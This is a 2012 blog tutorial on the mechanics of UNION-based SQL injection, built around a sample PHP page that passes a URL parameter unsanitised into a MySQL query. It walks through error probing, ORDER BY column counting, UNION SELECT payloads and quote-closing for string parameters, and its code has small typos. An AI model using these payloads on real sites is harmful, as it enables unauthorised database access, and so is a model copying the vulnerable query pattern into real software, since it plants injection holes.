Sunday 20 May 2012

SQL Injection behind the Scene(sql injection derrière la scène)

Well Many people are injecting site with sql injection but most of them dont know what is going on behind it . so i have made this small tutorial for them . This is just basic scene behind mysql injection .
 Lets take server has index.html with following portion:
<htlml>
<body>
<a href="book.php?id=1">book</a>
</body>
</html>

Lets take server has another file named book.php that contains following php code .

<?php
// Make a MySQL Connection
$con = mysql_connect("localhost","user","pass");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
mysql_select_db("my_db", $con);
$id=$_GET['id'];
$result = mysql_query("SELECT id,name,price FROM book WHERE id=$id");
$row=mysql_fetch_rows($result);
echo "Name:".$row['name'];
echo "Price:".$row['price'];
?>


table book looks like this :
[Image: 454545u.jpg]

Now we click on book we get through this link .

Code:
www.site.com/book.php?id=1
and we get output
Code:
name=sql price=15

so when you inject with '
Code:
www.site.com/book.php?id=1'

so following query will be sent to serve

Code:
SELECT id,name,price FROM book WHERE id=1'
server interpret special character ' , / , \ , * as incorrect syntax and we get mysql error .
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1.

Counting no of Columns :

Code:
www.site.com/book.php?id=1 order by 1--
So following query will be sent to server
Code:
SELECT id,name,price FROM book WHERE id=1 order by 1
Means order by first(id) column

Code:
www.site.com/book.php?id=1 order by 2--
So following query will be sent to server
Code:
SELECT id,name,price FROM book WHERE id=1 order by 2
Means order by second(name) column

Code:
www.site.com/book.php?id=1 order by 3--
So following query will be sent to server
Code:
SELECT id,name,price FROM book WHERE id=1 order by 3
Means to order by third(price) column

Code:
www.site.com/book.php?id=1 order by 4--
So following query will be sent to server
Code:
SELECT id,name,price FROM book WHERE id=1 order by 4
Means to order by fourth column which does not exist .so we will get error

Code:
Unknown column '4' in 'order clause'

Union select part :

Code:
www.site.com/book.php?id=1 UnioN seLect 1,2,3--
Following query will be sent to server
Code:
SELECT id,name,price FROM book WHERE id=1 UnioN select 1,2,3

-- is used to ignore rest of query .

Here output will be combination of first and second injected query.It is necessary to make sure that first query returns no records and we get output of our second injected query.it is easy.we can do it in many way like
Code:
www.site.com/book.php?id=null UnioN seLect 1,2,3--

Now server goes through the book table , looking for a row where id is set to null.Since it will not find a row where is set to null no records will ne returned.The Only record that will be returned will be from our injected query .

Tip: All you have to do is specify a value that does not occur in the table.
Code:
www.site.com/book.php?id=xyz UnioN seLect 1,2,3--
www.site.com/book.php?id=-1 UnioN seLect 1,2,3--
www.site.com/book.php?id=1 div 0 UnioN seLect 1,2,3--
Just put something that looks out of the ordinary as best you can tell by looking at the legitimate values.
When a number is expected, zero and negative numbers often work well. For a text argument,simply use a string such as "NoSuchRecord", "NotInTable", or the ever-popular "sjdhalksjhdlka". Just as long as it won't return records.

we get number 2 and 3 on screen .

Why we see this vulnerable number on screen ?

Basically 2 and 3 is column name .
In source file there is echo statement which is displaying those rows of those columns which we are seeing on screen . Look above php source file and see
Code:
echo "Name:".$row['name'];
echo "Price:".$row['price'];

Thats why we get
Code:
Name:2  Price:3

Difference between integer and string based injection :

Lets take code is :
PHP Code:
$id=$_GET['id'];$result mysql_query("SELECT id,name,price FROM book WHERE id=$id"); 

here id=value
so whatever we write directly will be accepted to id .

Now look foolowing code
PHP Code:
$id=$_GET['id'];$result mysql_query("SELECT id,name,price FROM book WHERE id='$id'"); 

here id='value'
so to complete first ' we have to add another ' after value

Code:
www.site.com/book.php?id=1' order by 1-- -

will become
Code:
SELECT id,name,price FROM book WHERE id='1' order by 1-- -